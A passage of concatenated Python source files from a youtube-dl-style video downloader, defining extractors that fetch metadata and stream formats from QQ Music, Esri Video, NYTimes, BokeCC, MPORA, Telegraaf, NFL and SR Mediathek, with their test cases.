            'timestamp': material['original_date'],
            'description': description,
            'duration': parse_duration(material.get('duration')),
            'thumbnails': thumbnails,
        }






# coding: utf-8
from __future__ import unicode_literals

import random
import time
import re

from .common import InfoExtractor
from ..utils import (
    sanitized_Request,
    strip_jsonp,
    unescapeHTML,
    clean_html,
    ExtractorError,
)


class QQMusicIE(InfoExtractor):
    IE_NAME = 'qqmusic'
    IE_DESC = 'QQ音乐'
    _VALID_URL = r'https?://y.qq.com/#type=song&mid=(?P<id>[0-9A-Za-z]+)'
    _TESTS = [{
        'url': 'http://y.qq.com/#type=song&mid=004295Et37taLD',
        'md5': '9ce1c1c8445f561506d2e3cfb0255705',
        'info_dict': {
            'id': '004295Et37taLD',
            'ext': 'mp3',
            'title': '可惜没如果',
            'release_date': '20141227',
            'creator': '林俊杰',
            'description': 'md5:d327722d0361576fde558f1ac68a7065',
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }, {
        'note': 'There is no mp3-320 version of this song.',
        'url': 'http://y.qq.com/#type=song&mid=004MsGEo3DdNxV',
        'md5': 'fa3926f0c585cda0af8fa4f796482e3e',
        'info_dict': {
            'id': '004MsGEo3DdNxV',
            'ext': 'mp3',
            'title': '如果',
            'release_date': '20050626',
            'creator': '李季美',
            'description': 'md5:46857d5ed62bc4ba84607a805dccf437',
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }, {
        'note': 'lyrics not in .lrc format',
        'url': 'http://y.qq.com/#type=song&mid=001JyApY11tIp6',
        'info_dict': {
            'id': '001JyApY11tIp6',
            'ext': 'mp3',
            'title': 'Shadows Over Transylvania',
            'release_date': '19970225',
            'creator': 'Dark Funeral',
            'description': 'md5:ed14d5bd7ecec19609108052c25b2c11',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
        'params': {
            'skip_download': True,
        },
    }]

    _FORMATS = {
        'mp3-320': {'prefix': 'M800', 'ext': 'mp3', 'preference': 40, 'abr': 320},
        'mp3-128': {'prefix': 'M500', 'ext': 'mp3', 'preference': 30, 'abr': 128},
        'm4a': {'prefix': 'C200', 'ext': 'm4a', 'preference': 10}
    }

    # Reference: m_r_GetRUin() in top_player.js
    # http://imgcache.gtimg.cn/music/portal_v3/y/top_player.js
    @staticmethod
    def m_r_get_ruin():
        curMs = int(time.time() * 1000) % 1000
        return int(round(random.random() * 2147483647) * curMs % 1E10)

    def _real_extract(self, url):
        mid = self._match_id(url)

        detail_info_page = self._download_webpage(
            'http://s.plcloud.music.qq.com/fcgi-bin/fcg_yqq_song_detail_info.fcg?songmid=%s&play=0' % mid,
            mid, note='Download song detail info',
            errnote='Unable to get song detail info', encoding='gbk')

        song_name = self._html_search_regex(
            r"songname:\s*'([^']+)'", detail_info_page, 'song name')

        publish_time = self._html_search_regex(
            r'发行时间：(\d{4}-\d{2}-\d{2})', detail_info_page,
            'publish time', default=None)
        if publish_time:
            publish_time = publish_time.replace('-', '')

        singer = self._html_search_regex(
            r"singer:\s*'([^']+)", detail_info_page, 'singer', default=None)

        lrc_content = self._html_search_regex(
            r'<div class="content" id="lrc_content"[^<>]*>([^<>]+)</div>',
            detail_info_page, 'LRC lyrics', default=None)
        if lrc_content:
            lrc_content = lrc_content.replace('\\n', '\n')

        thumbnail_url = None
        albummid = self._search_regex(
            [r'albummid:\'([0-9a-zA-Z]+)\'', r'"albummid":"([0-9a-zA-Z]+)"'],
            detail_info_page, 'album mid', default=None)
        if albummid:
            thumbnail_url = "http://i.gtimg.cn/music/photo/mid_album_500/%s/%s/%s.jpg" \
                            % (albummid[-2:-1], albummid[-1], albummid)

        guid = self.m_r_get_ruin()

        vkey = self._download_json(
            'http://base.music.qq.com/fcgi-bin/fcg_musicexpress.fcg?json=3&guid=%s' % guid,
            mid, note='Retrieve vkey', errnote='Unable to get vkey',
            transform_source=strip_jsonp)['key']

        formats = []
        for format_id, details in self._FORMATS.items():
            formats.append({
                'url': 'http://cc.stream.qqmusic.qq.com/%s%s.%s?vkey=%s&guid=%s&fromtag=0'
                       % (details['prefix'], mid, details['ext'], vkey, guid),
                'format': format_id,
                'format_id': format_id,
                'preference': details['preference'],
                'abr': details.get('abr'),
            })
        self._check_formats(formats, mid)
        self._sort_formats(formats)

        actual_lrc_lyrics = ''.join(
            line + '\n' for line in re.findall(
                r'(?m)^(\[[0-9]{2}:[0-9]{2}(?:\.[0-9]{2,})?\][^\n]*|\[[^\]]*\])', lrc_content))

        info_dict = {
            'id': mid,
            'formats': formats,
            'title': song_name,
            'release_date': publish_time,
            'creator': singer,
            'description': lrc_content,
            'thumbnail': thumbnail_url
        }
        if actual_lrc_lyrics:
            info_dict['subtitles'] = {
                'origin': [{
                    'ext': 'lrc',
                    'data': actual_lrc_lyrics,
                }]
            }
        return info_dict


class QQPlaylistBaseIE(InfoExtractor):
    @staticmethod
    def qq_static_url(category, mid):
        return 'http://y.qq.com/y/static/%s/%s/%s/%s.html' % (category, mid[-2], mid[-1], mid)

    @classmethod
    def get_entries_from_page(cls, page):
        entries = []

        for item in re.findall(r'class="data"[^<>]*>([^<>]+)</', page):
            song_mid = unescapeHTML(item).split('|')[-5]
            entries.append(cls.url_result(
                'http://y.qq.com/#type=song&mid=' + song_mid, 'QQMusic',
                song_mid))

        return entries


class QQMusicSingerIE(QQPlaylistBaseIE):
    IE_NAME = 'qqmusic:singer'
    IE_DESC = 'QQ音乐 - 歌手'
    _VALID_URL = r'https?://y.qq.com/#type=singer&mid=(?P<id>[0-9A-Za-z]+)'
    _TEST = {
        'url': 'http://y.qq.com/#type=singer&mid=001BLpXF2DyJe2',
        'info_dict': {
            'id': '001BLpXF2DyJe2',
            'title': '林俊杰',
            'description': 'md5:870ec08f7d8547c29c93010899103751',
        },
        'playlist_count': 12,
    }

    def _real_extract(self, url):
        mid = self._match_id(url)

        singer_page = self._download_webpage(
            self.qq_static_url('singer', mid), mid, 'Download singer page')

        entries = self.get_entries_from_page(singer_page)

        singer_name = self._html_search_regex(
            r"singername\s*:\s*'([^']+)'", singer_page, 'singer name',
            default=None)

        singer_id = self._html_search_regex(
            r"singerid\s*:\s*'([0-9]+)'", singer_page, 'singer id',
            default=None)

        singer_desc = None

        if singer_id:
            req = sanitized_Request(
                'http://s.plcloud.music.qq.com/fcgi-bin/fcg_get_singer_desc.fcg?utf8=1&outCharset=utf-8&format=xml&singerid=%s' % singer_id)
            req.add_header(
                'Referer', 'http://s.plcloud.music.qq.com/xhr_proxy_utf8.html')
            singer_desc_page = self._download_xml(
                req, mid, 'Donwload singer description XML')

            singer_desc = singer_desc_page.find('./data/info/desc').text

        return self.playlist_result(entries, mid, singer_name, singer_desc)


class QQMusicAlbumIE(QQPlaylistBaseIE):
    IE_NAME = 'qqmusic:album'
    IE_DESC = 'QQ音乐 - 专辑'
    _VALID_URL = r'https?://y.qq.com/#type=album&mid=(?P<id>[0-9A-Za-z]+)'

    _TESTS = [{
        'url': 'http://y.qq.com/#type=album&mid=000gXCTb2AhRR1',
        'info_dict': {
            'id': '000gXCTb2AhRR1',
            'title': '我们都是这样长大的',
            'description': 'md5:179c5dce203a5931970d306aa9607ea6',
        },
        'playlist_count': 4,
    }, {
        'url': 'http://y.qq.com/#type=album&mid=002Y5a3b3AlCu3',
        'info_dict': {
            'id': '002Y5a3b3AlCu3',
            'title': '그리고...',
            'description': 'md5:a48823755615508a95080e81b51ba729',
        },
        'playlist_count': 8,
    }]

    def _real_extract(self, url):
        mid = self._match_id(url)

        album = self._download_json(
            'http://i.y.qq.com/v8/fcg-bin/fcg_v8_album_info_cp.fcg?albummid=%s&format=json' % mid,
            mid, 'Download album page')['data']

        entries = [
            self.url_result(
                'http://y.qq.com/#type=song&mid=' + song['songmid'], 'QQMusic', song['songmid']
            ) for song in album['list']
        ]
        album_name = album.get('name')
        album_detail = album.get('desc')
        if album_detail is not None:
            album_detail = album_detail.strip()

        return self.playlist_result(entries, mid, album_name, album_detail)


class QQMusicToplistIE(QQPlaylistBaseIE):
    IE_NAME = 'qqmusic:toplist'
    IE_DESC = 'QQ音乐 - 排行榜'
    _VALID_URL = r'https?://y\.qq\.com/#type=toplist&p=(?P<id>(top|global)_[0-9]+)'

    _TESTS = [{
        'url': 'http://y.qq.com/#type=toplist&p=global_123',
        'info_dict': {
            'id': 'global_123',
            'title': '美国iTunes榜',
        },
        'playlist_count': 10,
    }, {
        'url': 'http://y.qq.com/#type=toplist&p=top_3',
        'info_dict': {
            'id': 'top_3',
            'title': '巅峰榜·欧美',
            'description': 'QQ音乐巅峰榜·欧美根据用户收听行为自动生成，集结当下最流行的欧美新歌！:更新时间：每周四22点|统'
                           '计周期：一周（上周四至本周三）|统计对象：三个月内发行的欧美歌曲|统计数量：100首|统计算法：根据'
                           '歌曲在一周内的有效播放次数，由高到低取前100名（同一歌手最多允许5首歌曲同时上榜）|有效播放次数：'
                           '登录用户完整播放一首歌曲，记为一次有效播放；同一用户收听同一首歌曲，每天记录为1次有效播放'
        },
        'playlist_count': 100,
    }, {
        'url': 'http://y.qq.com/#type=toplist&p=global_106',
        'info_dict': {
            'id': 'global_106',
            'title': '韩国Mnet榜',
        },
        'playlist_count': 50,
    }]

    def _real_extract(self, url):
        list_id = self._match_id(url)

        list_type, num_id = list_id.split("_")

        toplist_json = self._download_json(
            'http://i.y.qq.com/v8/fcg-bin/fcg_v8_toplist_cp.fcg?type=%s&topid=%s&format=json'
            % (list_type, num_id),
            list_id, 'Download toplist page')

        entries = [
            self.url_result(
                'http://y.qq.com/#type=song&mid=' + song['data']['songmid'], 'QQMusic', song['data']['songmid']
            ) for song in toplist_json['songlist']
        ]

        topinfo = toplist_json.get('topinfo', {})
        list_name = topinfo.get('ListName')
        list_description = topinfo.get('info')
        return self.playlist_result(entries, list_id, list_name, list_description)


class QQMusicPlaylistIE(QQPlaylistBaseIE):
    IE_NAME = 'qqmusic:playlist'
    IE_DESC = 'QQ音乐 - 歌单'
    _VALID_URL = r'https?://y\.qq\.com/#type=taoge&id=(?P<id>[0-9]+)'

    _TESTS = [{
        'url': 'http://y.qq.com/#type=taoge&id=3462654915',
        'info_dict': {
            'id': '3462654915',
            'title': '韩国5月新歌精选下旬',
            'description': 'md5:d2c9d758a96b9888cf4fe82f603121d4',
        },
        'playlist_count': 40,
        'skip': 'playlist gone',
    }, {
        'url': 'http://y.qq.com/#type=taoge&id=1374105607',
        'info_dict': {
            'id': '1374105607',
            'title': '易入人心的华语民谣',
            'description': '民谣的歌曲易于传唱、、歌词朗朗伤口、旋律简单温馨。属于那种才入耳孔。却上心头的感觉。没有太多的复杂情绪。简单而直接地表达乐者的情绪，就是这样的简单才易入人心。',
        },
        'playlist_count': 20,
    }]

    def _real_extract(self, url):
        list_id = self._match_id(url)

        list_json = self._download_json(
            'http://i.y.qq.com/qzone-music/fcg-bin/fcg_ucc_getcdinfo_byids_cp.fcg?type=1&json=1&utf8=1&onlysong=0&disstid=%s'
            % list_id, list_id, 'Download list page',
            transform_source=strip_jsonp)
        if not len(list_json.get('cdlist', [])):
            if list_json.get('code'):
                raise ExtractorError(
                    'QQ Music said: error %d in fetching playlist info' % list_json['code'],
                    expected=True)
            raise ExtractorError('Unable to get playlist info')

        cdlist = list_json['cdlist'][0]
        entries = [
            self.url_result(
                'http://y.qq.com/#type=song&mid=' + song['songmid'], 'QQMusic', song['songmid']
            ) for song in cdlist['songlist']
        ]

        list_name = cdlist.get('dissname')
        list_description = clean_html(unescapeHTML(cdlist.get('desc')))
        return self.playlist_result(entries, list_id, list_name, list_description)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    int_or_none,
    parse_filesize,
    unified_strdate,
)


class EsriVideoIE(InfoExtractor):
    _VALID_URL = r'https?://video\.esri\.com/watch/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'https://video.esri.com/watch/1124/arcgis-online-_dash_-developing-applications',
        'md5': 'd4aaf1408b221f1b38227a9bbaeb95bc',
        'info_dict': {
            'id': '1124',
            'ext': 'mp4',
            'title': 'ArcGIS Online - Developing Applications',
            'description': 'Jeremy Bartley demonstrates how to develop applications with ArcGIS Online.',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 185,
            'upload_date': '20120419',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        formats = []
        for width, height, content in re.findall(
                r'(?s)<li><strong>(\d+)x(\d+):</strong>(.+?)</li>', webpage):
            for video_url, ext, filesize in re.findall(
                    r'<a[^>]+href="([^"]+)">([^<]+)&nbsp;\(([^<]+)\)</a>', content):
                formats.append({
                    'url': compat_urlparse.urljoin(url, video_url),
                    'ext': ext.lower(),
                    'format_id': '%s-%s' % (ext.lower(), height),
                    'width': int(width),
                    'height': int(height),
                    'filesize_approx': parse_filesize(filesize),
                })
        self._sort_formats(formats)

        title = self._html_search_meta('title', webpage, 'title')
        description = self._html_search_meta(
            'description', webpage, 'description', fatal=False)

        thumbnail = self._html_search_meta('thumbnail', webpage, 'thumbnail', fatal=False)
        if thumbnail:
            thumbnail = re.sub(r'_[st]\.jpg$', '_x.jpg', thumbnail)

        duration = int_or_none(self._search_regex(
            [r'var\s+videoSeconds\s*=\s*(\d+)', r"'duration'\s*:\s*(\d+)"],
            webpage, 'duration', fatal=False))

        upload_date = unified_strdate(self._html_search_meta(
            'last-modified', webpage, 'upload date', fatal=False))

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'upload_date': upload_date,
            'formats': formats
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    float_or_none,
    int_or_none,
    parse_iso8601,
)


class NYTimesBaseIE(InfoExtractor):
    def _extract_video_from_id(self, video_id):
        video_data = self._download_json(
            'http://www.nytimes.com/svc/video/api/v2/video/%s' % video_id,
            video_id, 'Downloading video JSON')

        title = video_data['headline']
        description = video_data.get('summary')
        duration = float_or_none(video_data.get('duration'), 1000)

        uploader = video_data.get('byline')
        publication_date = video_data.get('publication_date')
        timestamp = parse_iso8601(publication_date[:-8]) if publication_date else None

        def get_file_size(file_size):
            if isinstance(file_size, int):
                return file_size
            elif isinstance(file_size, dict):
                return int(file_size.get('value', 0))
            else:
                return 0

        formats = [
            {
                'url': video['url'],
                'format_id': video.get('type'),
                'vcodec': video.get('video_codec'),
                'width': int_or_none(video.get('width')),
                'height': int_or_none(video.get('height')),
                'filesize': get_file_size(video.get('fileSize')),
            } for video in video_data['renditions'] if video.get('url')
        ]
        self._sort_formats(formats)

        thumbnails = [
            {
                'url': 'http://www.nytimes.com/%s' % image['url'],
                'width': int_or_none(image.get('width')),
                'height': int_or_none(image.get('height')),
            } for image in video_data.get('images', []) if image.get('url')
        ]

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'timestamp': timestamp,
            'uploader': uploader,
            'duration': duration,
            'formats': formats,
            'thumbnails': thumbnails,
        }


class NYTimesIE(NYTimesBaseIE):
    _VALID_URL = r'https?://(?:(?:www\.)?nytimes\.com/video/(?:[^/]+/)+?|graphics8\.nytimes\.com/bcvideo/\d+(?:\.\d+)?/iframe/embed\.html\?videoId=)(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.nytimes.com/video/opinion/100000002847155/verbatim-what-is-a-photocopier.html?playlistId=100000001150263',
        'md5': '18a525a510f942ada2720db5f31644c0',
        'info_dict': {
            'id': '100000002847155',
            'ext': 'mov',
            'title': 'Verbatim: What Is a Photocopier?',
            'description': 'md5:93603dada88ddbda9395632fdc5da260',
            'timestamp': 1398631707,
            'upload_date': '20140427',
            'uploader': 'Brett Weiner',
            'duration': 419,
        }
    }, {
        'url': 'http://www.nytimes.com/video/travel/100000003550828/36-hours-in-dubai.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        return self._extract_video_from_id(video_id)


class NYTimesArticleIE(NYTimesBaseIE):
    _VALID_URL = r'https?://(?:www\.)?nytimes\.com/(.(?<!video))*?/(?:[^/]+/)*(?P<id>[^.]+)(?:\.html)?'
    _TESTS = [{
        'url': 'http://www.nytimes.com/2015/04/14/business/owner-of-gravity-payments-a-credit-card-processor-is-setting-a-new-minimum-wage-70000-a-year.html?_r=0',
        'md5': 'e2076d58b4da18e6a001d53fd56db3c9',
        'info_dict': {
            'id': '100000003628438',
            'ext': 'mov',
            'title': 'New Minimum Wage: $70,000 a Year',
            'description': 'Dan Price, C.E.O. of Gravity Payments, surprised his 120-person staff by announcing that he planned over the next three years to raise the salary of every employee to $70,000 a year.',
            'timestamp': 1429033037,
            'upload_date': '20150414',
            'uploader': 'Matthew Williams',
        }
    }, {
        'url': 'http://www.nytimes.com/news/minute/2014/03/17/times-minute-whats-next-in-crimea/?_php=true&_type=blogs&_php=true&_type=blogs&_r=1',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_id = self._html_search_regex(r'data-videoid="(\d+)"', webpage, 'video id')

        return self._extract_video_from_id(video_id)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_parse_qs
from ..utils import ExtractorError


class BokeCCBaseIE(InfoExtractor):
    def _extract_bokecc_formats(self, webpage, video_id, format_id=None):
        player_params_str = self._html_search_regex(
            r'<(?:script|embed)[^>]+src="http://p\.bokecc\.com/player\?([^"]+)',
            webpage, 'player params')

        player_params = compat_parse_qs(player_params_str)

        info_xml = self._download_xml(
            'http://p.bokecc.com/servlet/playinfo?uid=%s&vid=%s&m=1' % (
                player_params['siteid'][0], player_params['vid'][0]), video_id)

        formats = [{
            'format_id': format_id,
            'url': quality.find('./copy').attrib['playurl'],
            'preference': int(quality.attrib['value']),
        } for quality in info_xml.findall('./video/quality')]

        self._sort_formats(formats)

        return formats


class BokeCCIE(BokeCCBaseIE):
    _IE_DESC = 'CC视频'
    _VALID_URL = r'https?://union\.bokecc\.com/playvideo\.bo\?(?P<query>.*)'

    _TESTS = [{
        'url': 'http://union.bokecc.com/playvideo.bo?vid=E44D40C15E65EA30&uid=CD0C5D3C8614B28B',
        'info_dict': {
            'id': 'CD0C5D3C8614B28B_E44D40C15E65EA30',
            'ext': 'flv',
            'title': 'BokeCC Video',
        },
    }]

    def _real_extract(self, url):
        qs = compat_parse_qs(re.match(self._VALID_URL, url).group('query'))
        if not qs.get('vid') or not qs.get('uid'):
            raise ExtractorError('Invalid URL', expected=True)

        video_id = '%s_%s' % (qs['uid'][0], qs['vid'][0])

        webpage = self._download_webpage(url, video_id)

        return {
            'id': video_id,
            'title': 'BokeCC Video',  # no title provided in the webpage
            'formats': self._extract_bokecc_formats(webpage, video_id),
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import int_or_none


class MporaIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?mpora\.(?:com|de)/videos/(?P<id>[^?#/]+)'
    IE_NAME = 'MPORA'

    _TEST = {
        'url': 'http://mpora.de/videos/AAdo8okx4wiz/embed?locale=de',
        'md5': 'a7a228473eedd3be741397cf452932eb',
        'info_dict': {
            'id': 'AAdo8okx4wiz',
            'ext': 'mp4',
            'title': 'Katy Curd -  Winter in the Forest',
            'duration': 416,
            'uploader': 'Peter Newman Media',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        data_json = self._search_regex(
            [r"new FM\.Player\('[^']+',\s*(\{.*?)\).player;",
             r"new\s+FM\.Kaltura\.Player\('[^']+'\s*,\s*({.+?})\);"],
            webpage, 'json')
        data = self._parse_json(data_json, video_id)

        uploader = data['info_overlay'].get('username')
        duration = data['video']['duration'] // 1000
        thumbnail = data['video']['encodings']['sd']['poster']
        title = data['info_overlay']['title']

        formats = []
        for encoding_id, edata in data['video']['encodings'].items():
            for src in edata['sources']:
                width_str = self._search_regex(
                    r'_([0-9]+)\.[a-zA-Z0-9]+$', src['src'],
                    False, default=None)
                vcodec = src['type'].partition('/')[2]

                formats.append({
                    'format_id': encoding_id + '-' + vcodec,
                    'url': src['src'],
                    'vcodec': vcodec,
                    'width': int_or_none(width_str),
                })

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'uploader': uploader,
            'duration': duration,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    remove_end,
)


class TelegraafIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?telegraaf\.nl/tv/(?:[^/]+/)+(?P<id>\d+)/[^/]+\.html'
    _TEST = {
        'url': 'http://www.telegraaf.nl/tv/nieuws/binnenland/24353229/__Tikibad_ontruimd_wegens_brand__.html',
        'info_dict': {
            'id': '24353229',
            'ext': 'mp4',
            'title': 'Tikibad ontruimd wegens brand',
            'description': 'md5:05ca046ff47b931f9b04855015e163a4',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 33,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        player_url = self._html_search_regex(
            r'<iframe[^>]+src="([^"]+")', webpage, 'player URL')
        player_page = self._download_webpage(
            player_url, video_id, note='Download player webpage')
        playlist_url = self._search_regex(
            r'playlist\s*:\s*"([^"]+)"', player_page, 'playlist URL')
        playlist_data = self._download_json(playlist_url, video_id)

        item = playlist_data['items'][0]
        formats = []
        locations = item['locations']
        for location in locations.get('adaptive', []):
            manifest_url = location['src']
            ext = determine_ext(manifest_url)
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    manifest_url, video_id, ext='mp4', m3u8_id='hls', fatal=False))
            elif ext == 'mpd':
                formats.extend(self._extract_mpd_formats(
                    manifest_url, video_id, mpd_id='dash', fatal=False))
            else:
                self.report_warning('Unknown adaptive format %s' % ext)
        for location in locations.get('progressive', []):
            formats.append({
                'url': location['sources'][0]['src'],
                'width': location.get('width'),
                'height': location.get('height'),
                'format_id': 'http-%s' % location['label'],
            })

        self._sort_formats(formats)

        title = remove_end(self._og_search_title(webpage), ' - VIDEO')
        description = self._og_search_description(webpage)
        duration = item.get('duration')
        thumbnail = item.get('poster')

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'formats': formats,
            'duration': duration,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlparse,
)
from ..utils import (
    ExtractorError,
    int_or_none,
    remove_end,
)


class NFLIE(InfoExtractor):
    IE_NAME = 'nfl.com'
    _VALID_URL = r'''(?x)
                    https?://
                        (?P<host>
                            (?:www\.)?
                            (?:
                                (?:
                                    nfl|
                                    buffalobills|
                                    miamidolphins|
                                    patriots|
                                    newyorkjets|
                                    baltimoreravens|
                                    bengals|
                                    clevelandbrowns|
                                    steelers|
                                    houstontexans|
                                    colts|
                                    jaguars|
                                    titansonline|
                                    denverbroncos|
                                    kcchiefs|
                                    raiders|
                                    chargers|
                                    dallascowboys|
                                    giants|
                                    philadelphiaeagles|
                                    redskins|
                                    chicagobears|
                                    detroitlions|
                                    packers|
                                    vikings|
                                    atlantafalcons|
                                    panthers|
                                    neworleanssaints|
                                    buccaneers|
                                    azcardinals|
                                    stlouisrams|
                                    49ers|
                                    seahawks
                                )\.com|
                                .+?\.clubs\.nfl\.com
                            )
                        )/
                        (?:.+?/)*
                        (?P<id>[^/#?&]+)
                    '''
    _TESTS = [{
        'url': 'http://www.nfl.com/videos/nfl-game-highlights/0ap3000000398478/Week-3-Redskins-vs-Eagles-highlights',
        'md5': '394ef771ddcd1354f665b471d78ec4c6',
        'info_dict': {
            'id': '0ap3000000398478',
            'ext': 'mp4',
            'title': 'Week 3: Redskins vs. Eagles highlights',
            'description': 'md5:56323bfb0ac4ee5ab24bd05fdf3bf478',
            'upload_date': '20140921',
            'timestamp': 1411337580,
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }, {
        'url': 'http://prod.www.steelers.clubs.nfl.com/video-and-audio/videos/LIVE_Post_Game_vs_Browns/9d72f26a-9e2b-4718-84d3-09fb4046c266',
        'md5': 'cf85bdb4bc49f6e9d3816d130c78279c',
        'info_dict': {
            'id': '9d72f26a-9e2b-4718-84d3-09fb4046c266',
            'ext': 'mp4',
            'title': 'LIVE: Post Game vs. Browns',
            'description': 'md5:6a97f7e5ebeb4c0e69a418a89e0636e8',
            'upload_date': '20131229',
            'timestamp': 1388354455,
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }, {
        'url': 'http://www.nfl.com/news/story/0ap3000000467586/article/patriots-seahawks-involved-in-lategame-skirmish',
        'info_dict': {
            'id': '0ap3000000467607',
            'ext': 'mp4',
            'title': 'Frustrations flare on the field',
            'description': 'Emotions ran high at the end of the Super Bowl on both sides of the ball after a dramatic finish.',
            'timestamp': 1422850320,
            'upload_date': '20150202',
        },
    }, {
        'url': 'http://www.patriots.com/video/2015/09/18/10-days-gillette',
        'md5': '4c319e2f625ffd0b481b4382c6fc124c',
        'info_dict': {
            'id': 'n-238346',
            'ext': 'mp4',
            'title': '10 Days at Gillette',
            'description': 'md5:8cd9cd48fac16de596eadc0b24add951',
            'timestamp': 1442618809,
            'upload_date': '20150918',
        },
    }, {
        # lowercase data-contentid
        'url': 'http://www.steelers.com/news/article-1/Tomlin-on-Ben-getting-Vick-ready/56399c96-4160-48cf-a7ad-1d17d4a3aef7',
        'info_dict': {
            'id': '12693586-6ea9-4743-9c1c-02c59e4a5ef2',
            'ext': 'mp4',
            'title': 'Tomlin looks ahead to Ravens on a short week',
            'description': 'md5:32f3f7b139f43913181d5cbb24ecad75',
            'timestamp': 1443459651,
            'upload_date': '20150928',
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.nfl.com/videos/nfl-network-top-ten/09000d5d810a6bd4/Top-10-Gutsiest-Performances-Jack-Youngblood',
        'only_matching': True,
    }, {
        'url': 'http://www.buffalobills.com/video/videos/Rex_Ryan_Show_World_Wide_Rex/b1dcfab2-3190-4bb1-bfc0-d6e603d6601a',
        'only_matching': True,
    }]

    @staticmethod
    def prepend_host(host, url):
        if not url.startswith('http'):
            if not url.startswith('/'):
                url = '/%s' % url
            url = 'http://{0:}{1:}'.format(host, url)
        return url

    @staticmethod
    def format_from_stream(stream, protocol, host, path_prefix='',
                           preference=0, note=None):
        url = '{protocol:}://{host:}/{prefix:}{path:}'.format(
            protocol=protocol,
            host=host,
            prefix=path_prefix,
            path=stream.get('path'),
        )
        return {
            'url': url,
            'vbr': int_or_none(stream.get('rate', 0), 1000),
            'preference': preference,
            'format_note': note,
        }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id, host = mobj.group('id'), mobj.group('host')

        webpage = self._download_webpage(url, video_id)

        config_url = NFLIE.prepend_host(host, self._search_regex(
            r'(?:(?:config|configURL)\s*:\s*|<nflcs:avplayer[^>]+data-config\s*=\s*)(["\'])(?P<config>.+?)\1',
            webpage, 'config URL', default='static/content/static/config/video/config.json',
            group='config'))
        # For articles, the id in the url is not the video id
        video_id = self._search_regex(
            r'(?:<nflcs:avplayer[^>]+data-content[Ii]d\s*=\s*|content[Ii]d\s*:\s*)(["\'])(?P<id>.+?)\1',
            webpage, 'video id', default=video_id, group='id')
        config = self._download_json(config_url, video_id, 'Downloading player config')
        url_template = NFLIE.prepend_host(
            host, '{contentURLTemplate:}'.format(**config))
        video_data = self._download_json(
            url_template.format(id=video_id), video_id)

        formats = []
        cdn_data = video_data.get('cdnData', {})
        streams = cdn_data.get('bitrateInfo', [])
        if cdn_data.get('format') == 'EXTERNAL_HTTP_STREAM':
            parts = compat_urllib_parse_urlparse(cdn_data.get('uri'))
            protocol, host = parts.scheme, parts.netloc
            for stream in streams:
                formats.append(
                    NFLIE.format_from_stream(stream, protocol, host))
        else:
            cdns = config.get('cdns')
            if not cdns:
                raise ExtractorError('Failed to get CDN data', expected=True)

            for name, cdn in cdns.items():
                # LimeLight streams don't seem to work
                if cdn.get('name') == 'LIMELIGHT':
                    continue

                protocol = cdn.get('protocol')
                host = remove_end(cdn.get('host', ''), '/')
                if not (protocol and host):
                    continue

                prefix = cdn.get('pathprefix', '')
                if prefix and not prefix.endswith('/'):
                    prefix = '%s/' % prefix

                preference = 0
                if protocol == 'rtmp':
                    preference = -2
                elif 'prog' in name.lower():
                    preference = 1

                for stream in streams:
                    formats.append(
                        NFLIE.format_from_stream(stream, protocol, host,
                                                 prefix, preference, name))

        self._sort_formats(formats)

        thumbnail = None
        for q in ('xl', 'l', 'm', 's', 'xs'):
            thumbnail = video_data.get('imagePaths', {}).get(q)
            if thumbnail:
                break

        return {
            'id': video_id,
            'title': video_data.get('headline'),
            'formats': formats,
            'description': video_data.get('caption'),
            'duration': video_data.get('duration'),
            'thumbnail': thumbnail,
            'timestamp': int_or_none(video_data.get('posted'), 1000),
        }






# encoding: utf-8
from __future__ import unicode_literals

from .ard import ARDMediathekIE
from ..utils import (
    ExtractorError,
    get_element_by_attribute,
)


class SRMediathekIE(ARDMediathekIE):
    IE_NAME = 'sr:mediathek'
    IE_DESC = 'Saarländischer Rundfunk'
    _VALID_URL = r'https?://sr-mediathek(?:\.sr-online)?\.de/index\.php\?.*?&id=(?P<id>[0-9]+)'

    _TESTS = [{
        'url': 'http://sr-mediathek.sr-online.de/index.php?seite=7&id=28455',
        'info_dict': {
            'id': '28455',
            'ext': 'mp4',
            'title': 'sportarena (26.10.2014)',
